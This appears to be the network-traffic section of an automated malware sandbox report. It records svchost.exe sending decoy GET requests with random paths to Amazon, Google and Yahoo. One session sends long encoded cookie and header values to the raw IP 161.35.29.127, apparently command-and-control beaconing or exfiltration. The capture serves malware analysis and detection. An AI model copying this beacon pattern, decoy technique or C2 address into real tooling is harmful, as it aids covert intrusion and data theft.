2021-09-28 07:54:16 UTC	1023	OUT	GET /K2pS9bLvkjoWxUjivvqkm8k5llv8r7c7wfNfdo6ofbo7/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:54:16 UTC	1024	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:54:16 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: 5RJF2GRQBX0VKHMNZW0F x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:54:16 UTC	1024	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.3	50005	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:17 UTC	1025	OUT	GET /m8rM2d4vj3j9x4Qx74uJmsfakxiqfvWzaIr3GN31/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:54:17 UTC	1025	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:54:17 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: B8CAWN7NPCXS66H61XHM x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:54:17 UTC	1026	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.3	50007	161.35.29.127	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:17 UTC	1027	OUT	GET /feed/news/last HTTP/1.1 Cookie: HSID=2ftnptGPipCTqytrp4bfz9E7Li8rjpsppKWqxPzpvpz%2F%2F8Tw4%2FhiN3YLSU0AbMj70TL%2BGBY5nUjwLX88tParAIyOjXI5Cgx37TmyrdLYXtsWWXx9Q08j2OVWF5%2B6Vmp5MF%2B9BG8%2FnBJeitFXXb7vZfTzt2s0dZnayKnWsUAaUaEbkvA%2FdcVD0iC7Crx6NLtJlvvr9U4udhUT3GhcPM47oE%2BmsabCiDgNroONDNDBGafcJzBR79UEOQdyal9Ih7Q9%2BDaOq8ta5Wu84ShXb7X5Ak4rH6hZ2su98Dy9Cuue0chsZq6xj8kKMIKSYdSr2%2FfN6Xb3fT9%2BdBSiVh0jRvGyUA%3D%3D;SIDCC=BPOt7H5cKsiVOOP2k6zXNl29edqmbEVtkhGZjZSRh3WqfKF%2FtJBEFbIfTB67oLjeBIrbZXKWSqPQi0sK7fadufQ75P8DLeyAsNLRMZn4PLf4HPxWDrUSJbRsK5zM8D2j5NOp98cXbA5kz5DunEMxH%2FaoyA%2FLZMw%2FqavWHA4dnF%2Bt6SkiczMIg7H43LHCFpMjnKzyNAl6OT94i%2BNfC2Eq0RQXF6QQ8zbdmYGdxICLaLiUoaGXVevgKEkTucB9dtBiWZIeIaOov6obO2k2yhIOKz1kyTVXRext7Fg4hRF70kuG0wizb02b07r4a%2F3gI2Vj0bvrfkQ8WlJJEPSbseJG6A%3D%3D;SID=YHUoK11ZhgYLhptIzpRF4jzhrpkWeMHZCk%2F5IRWbIPR67MKjfrqHk0SO9m10h9%2Byj34J%2B803t9WCW9LXpVuAxeiIJp4aYCqBoYYrauzv6DAb3%2FiqdOI5I8jk5%2F4NedqWWrppfcRpBMPoO83H%2BdERPjNMFW16wCiXP0UqM7uMxswGHUM%2BQx9PU0DeORPxOdVexOt9SkImu3rx4P4QnFCwOy2mUPzv9S39ksHtpcB0GA%2BAs%2BcU0wrybjGir0qthMOOJ3VtC4MFxC13VO4axl%2B7vug3CHhWZI3cOtrduK5kW2id12Wt4J2x1x99Rb2AH00Mharn5eAdKxKFqpiyucihxA%3D%3D;SSID=B8W1lye56Rp2G7tBdo%2FJOqcoYp8mxb558PfNcPtJ1WDragcZMvVUG%2FgsRP4QJnKL66d5Dgaso6X2dfxv3ohsPUjSZbfODqBp4KC5GFOvKqNC8jMHZKWVM4%2BFCcDXYORL76Svh9B32AuSNaUgaad2%2B7rn15bkjbVc%2FSURa36hg5LQhm6NyY%2F9NQf5wxkAEgpgTCBEdvHagEViRDC5fTntl8BXPEONPSX1bXv4hOBqOOTAHgi23JIKiHbURRlLyJ%2FKz4AJo4O3tyjCUSEyd5dZsGyR%2FJR%2F5Kx9Vomu53EYQJGG%2FwmrKQLu52hjyXRRddXH3KUSQnbL6DNhF%2By%2BITeBiA%3D%3D; X-Tag: ult2GgJqOpGyvSsgKymOeC6VlSmVcNSjeQ2TpJFH%2FGw%2BvLD4oKuYG9Jy2C6m0G3%2FN9%2FQJ5fKo8FfWub%2By6HizOwTsHGQEyzTR45bu6Ppqxz2Snr4zQ4MzBQ992bvlfjeQ10PvcfvVmSyM1UfSqsqcdMawkkdEqKsWgSQXKyHFuoBJNxQSU9iJ7D3URc0D0W3naAGJPnBi%2BBSlLcN1pH6H4Aatnx6BtifC2Dc%2BsWdLw4UyU%2B01ct5F9ST3pKcPwy%2F%2BXFjNtRfNdQxhty5tMEWXHPDDPSh28XBlLoDB4XaHWc1Psy%2BGrNroi94%2BCt7EE1xjZYHFZb2fu9xnXacJnN9WA%3D%3D X-Csrf-Token: HKE97WTkCBV%2FeQUY95rnWc1R93tDvSKiOnUKXaXKXgYuAtkMX2sinBNA8a%2BKIVYIVvWToVxOjP3Yu6vF8%2FPwbgIJmThhGEGUTKKiRlRuHjVKafC3oqf0W9G5TrDbsNzUpEF5akF%2BaB8C6hyQSwxG1EGK57%2BHqOTCZkA5TR2e5FtlOAqnmzrddMPbDiA2w5mt3k9E2ACa4%2FlwI5Sm3v4rsBc%2BzsbTz1nvM4qJGxLxIm%2FRiDt3IeDZP2R5016aTNpFAmoUFzTcXFGdnfVmyuca9KYaGWIIJaAAoLLXsHDf1rM8YetbtbJWVkckPQCJ6uCDalsBcjm3r3LwYd8MOauktw%3D%3D X-Request-ID: z40d2%2FcuCEt3nOz1GsoslfXlGC8QS7UEuckBTcsrX2BhIb9bvxz0lEAnuRACTgXH09xtwHn0hKJCZR0xQE9KZkKxpwMnPkuSom9RiP54Aw2V2OgjW3GWwc1%2BGCtbpYbulye2qh6J4eXBd1omQKUN62NkNG%2F5NZVeoLp64LG4WDPmS8sT%2FkgepEek9fpyFzp%2BdzF0GJD9rLVzBiKEMKZWDrnEorBHIXkUbvt52Wh6Jq6unRNiAbyxJ7BLRaFIrYLNJpqlTc7iweJJBVvStXx6%2BoAKdDsYbb5H2ERYmG0t%2FWu8b0DmoVYlK8fZaXsMpPw1Ejz0s8wVdHeRkEjlzzw8UQ%3D%3D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 161.35.29.127
2021-09-28 07:54:20 UTC	1039	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html; charset=UTF-8 Content-Length: 2 Connection: close Date: Tue, 28 Sep 2021 07:54:20 GMT Set-Cookie: pSID=false Set-Cookie: ndata=Z8dxL0DceOoO8W2O5iD3aZivk7ikeHPRDkbSGadUd8zZ7ae5xiEcPrQrgEfVqvZ Set-Cookie: query4=zHiGkqdpfDXY96l8FfIi20vHfte4hNrfC8L72XqrQ0EUsiMVdRr6akHsM8Ws21bugYcPcPXC4QIe6zYHXnOLOAfqj6PJ6X7oul92OHiyvTRU4CnWRdeO0EOFNDMwwaBOBO2m82qR59O9v1nrEsiWUPKx7wDwGuVQdbnGC1rSqAp69Xp%2BVmqcBpx4Ov%2FNEwqJTIaJ3ICuLyup8RHNE2zC6bk325JpiU8Xt%2FUJ3%2F6q0o%2FIAODjSy3K2X0fuyib2GQppI3Icd%2BBLQ7dd7qrGpNqO3nBQCj1dLiymfodTH2oLcTuL0nhzQhZIvdtUl18Z%2B8NlhErp8M3avLbn5Kb70wkeA%3D%3D Set-Cookie: actual=enNDxAj2KAKj5v8QGGdOnJPqnm7TRws7hp2rvSSdpf5x7BcViiX80KcPMfJAONeoy6DU5fk8sNuH69BSJ0i0VkJuLIV1QV9sS6j5SvucOofIrfDDksmZfqVOzedNquwsmxZLOHNlg0PC3uAylExDK7edS4gwTeHWukJ6ZpgRMwvPQfx4RPCzBccqNPD6fd4atjV3YfGjAiKapEo1PZg8H0tinw8P9qwHFF1RyVVDhEyMgczlmNk7x4HIbO0FZDMJ Set-Cookie: SVALUE=aaS3m7BW3bJj8Rer6fxfqFUXZ4W2HTiJbX9vnM6wpVc8PWMq6V8jnCn2ULM408hakAvJZMeYunrQhmFa08RJUBI8UnTeRou2sjQ5zZi4TmjNP2a4q5aPlVWMTfroiAWKAD3HclUKmphbTU5PIfzi6h3kVzgwN81pIDVE3XhCgedA6hnt4MMX35KTNefRpJ8Vw951IyJ2cb60suVVAusL9kcSNScEeJi4QfhTdfszm2RNJDKLkSo6P6gFseWXbDDZ X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block
2021-09-28 07:54:20 UTC	1040	IN	Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.3	50011	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:18 UTC	1030	OUT	GET /iZ84kk7wKe7gl6c18r5rganns38T7fair4IkVqutx/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:54:18 UTC	1030	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1603 Date: Tue, 28 Sep 2021 07:54:18 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:54:18 UTC	1030	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:54:18 UTC	1031	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.3	50013	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:19 UTC	1032	OUT	GET /46a9ba02ytu2kmsJhkaaky7/b0z56KgpXahu6p36yzae/q37qs46stu4mk6qu1v67/tTzd73jbpgskp0nRu/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:54:19 UTC	1032	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1645 Date: Tue, 28 Sep 2021 07:54:19 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:54:19 UTC	1033	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:54:19 UTC	1033	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.3	50015	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:19 UTC	1034	OUT	GET /7rLx7jUix7wRJhuBpcByqv3qfkhxlask29Rj4/TeUgkJogtjcjbE2aJ/u42duX140H2p5wgwScoit8ophha0exc9f3u/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:54:20 UTC	1034	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:54:19 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 9 server: ATS Content-Length: 756 Age: 2 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=bnfdg45gl5ihb&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:54:20 UTC	1036	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 32 30 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:20 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:54:20 UTC	1036	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 37 72 4c 78 37 6a 55 69 78 37 77 52 4a 68 75 42 70 63 42 79 71 76 33 71 66 6b 68 78 6c 61 73 6b 32 39 52 6a 34 25 32 66 54 65 55 67 6b 4a 6f 67 74 6a 63 6a 62 45 32 61 4a 25 32 66 75 34 32 64 75 58 31 34 30 48 32 70 35 77 67 77 53 63 6f 69 74 38 6f 70 68 68 61 30 65 78 63 39 66 33 75 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2f7rLx7jUix7wRJhuBpcByqv3qfkhxlask29Rj4%2fTeUgkJogtjcjbE2aJ%2fu42duX140H2p5wgwScoit8ophha0exc9f3u%2f';if(window!=window.top){ document.writ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.3	50016	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:20 UTC	1037	OUT	GET /3frov56necHZygdOqdrUhoAismEs1uakucpxmmX3Vyiipsm/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:54:20 UTC	1037	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1609 Date: Tue, 28 Sep 2021 07:54:20 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:54:20 UTC	1037	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:54:20 UTC	1038	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) 